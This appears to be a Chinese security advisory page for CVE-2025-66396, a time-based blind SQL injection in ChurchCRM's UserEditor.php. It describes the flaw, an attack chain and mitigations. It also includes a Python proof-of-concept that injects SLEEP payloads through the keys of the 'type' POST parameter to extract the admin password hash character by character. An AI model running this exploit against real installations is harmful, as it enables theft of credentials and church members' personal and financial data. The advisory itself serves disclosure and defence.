IPBUF安全漏洞报告
English
CVE-2025-66396 CVSS 7.2 高危

CVE-2025-66396 ChurchCRM UserEditor.php SQL注入漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-66396
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRM时间盲注高危漏洞CVE-2025-66396Web应用安全数据库安全权限提升

漏洞概述

ChurchCRM是一款开源的教堂管理系统。在6.5.3之前的版本中,该系统存在严重的SQL注入漏洞,漏洞位于src/UserEditor.php文件中。当管理员保存用户配置设置时,系统对POST参数数组的键值处理不当,未进行适当的清理或类型转换就直接用于SQL查询构造。攻击者可以利用此漏洞通过恶意构造的type参数注入任意SQL代码,执行时间盲注攻击,直接与数据库进行交互。虽然该漏洞需要管理员权限才能利用,但一旦被攻击者利用(通过恶意账户或账户劫持),可绕过应用程序级别的日志记录和限制,直接读取、修改或删除数据库中的所有数据,包括其他用户凭证、财务记录和个人信息等敏感数据。根据CVSS 3.1评分7.2,该漏洞具有高机密性、高完整性和高可用性影响,CVSS向量为AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H,表明通过网络即可发起攻击,且无需用户交互。

技术细节

漏洞根源在于src/UserEditor.php中对用户输入处理不当。系统接收POST请求中的type参数作为数组处理,代码通过key($type)函数提取数组键值,该键值预期为数字ID。然而,提取的键值被直接赋值给$id变量后,未经过任何过滤或类型转换就直接拼接到SQL查询语句中。具体来说,$id变量被直接用于SELECT和UPDATE语句的WHERE条件部分,形成了注入点。攻击者可以在type参数数组的键中注入SQL语句片段,如使用时间盲注技术(TIME_BASED_BLIND_SQL_INJECTION),通过SLEEP()或BENCHMARK()等函数构造payload,根据响应时间判断SQL执行结果,从而逐步提取数据库中的敏感信息。由于漏洞代码路径在管理员保存配置时被调用,攻击者需要具备管理员权限才能触发该漏洞。成功利用后可进行数据窃取、数据篡改或进一步横向移动。

攻击链分析

STEP 1
步骤1
获取管理员账户:攻击者通过社会工程、密码喷洒攻击或账户劫持等方式获取ChurchCRM的管理员账户凭据或会话
STEP 2
步骤2
构造恶意请求:攻击者登录系统后,访问src/UserEditor.php页面,构造包含SQL注入payload的POST请求,在type参数数组键中注入恶意SQL代码
STEP 3
步骤3
注入点触发:当管理员保存用户配置设置时,系统处理type POST参数数组,使用key()函数提取键值并直接赋值给$id变量,该变量未经任何过滤直接拼接到SQL查询中
STEP 4
步骤4
时间盲注攻击:攻击者利用时间盲注技术,通过SLEEP()等时间延迟函数构造payload,根据数据库响应时间差异推断SQL执行结果,逐步提取敏感数据
STEP 5
步骤5
数据窃取/篡改:成功利用后,攻击者可读取数据库中所有数据,包括用户凭证、财务记录、个人信息等;也可进行数据修改或删除,甚至可能通过数据库写入功能实现系统进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2025-66396 SQL Injection PoC for ChurchCRM # Target: ChurchCRM < 6.5.3 # Location: src/UserEditor.php # Type: Time-based blind SQL injection target_url = "http://target-url/src/UserEditor.php" # Authentication - Requires admin credentials or session login_url = "http://target-url/src/api/authenticate.php" auth_data = { "UserName": "admin", "Password": "admin_password" } session = requests.Session() def login(): response = session.post(login_url, data=auth_data) return "auth_token" in response.text or response.status_code == 200 def extract_data_via_sql_injection(payload): """ Time-based blind SQL injection payload example Extracts database version information """ # Malicious type parameter with SQL injection payload data = { "type": { f"1' AND (SELECT CASE WHEN ({payload}) THEN SLEEP(5) ELSE 0 END) AND '1'='1": "value" }, "Action": "saveSettings", "UserID": "1" } start_time = time.time() response = session.post(target_url, data=data) elapsed = time.time() - start_time return elapsed > 4 # If response took >4 seconds, condition was true def build_boolean_payload(condition): """Build payload for boolean-based blind injection""" # Example: Check if database version contains '5' return f"(SELECT SUBSTRING(@@version,1,1))='{condition}'" def exploit(): if not login(): print("[-] Authentication failed") return print("[+] Logged in successfully") # Time-based blind injection to extract admin password hash # Example: Extract first character of user password payload = "(SELECT SUBSTRING(user_pasword,1,1) FROM user_user WHERE bSecRole=1 LIMIT 1)='a'" # Test different characters for char in 'abcdefghijklmnopqrstuvwxyz0123456789': test_payload = f"(SELECT SUBSTRING(user_pasword,1,1) FROM user_user WHERE bSecRole=1 LIMIT 1)='{char}'" if extract_data_via_sql_injection(test_payload): print(f"[+] Found character: {char}") break if __name__ == "__main__": exploit()

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
立即将ChurchCRM升级到6.5.3或最新版本。如果无法立即升级,可采取以下临时措施:1)限制管理员账户数量,加强管理员账户密码策略,定期更换密码;2)启用双因素认证保护管理员账户;3)审查并限制对src/UserEditor.php的访问,配置Web服务器禁止未授权访问;4)启用数据库查询日志,监控异常的SQL执行行为;5)部署WAF规则检测SQL注入特征;6)考虑暂时禁用用户配置保存功能,直到完成补丁部署。同时建议检查数据库访问日志,确认是否存在可疑的SQL注入痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表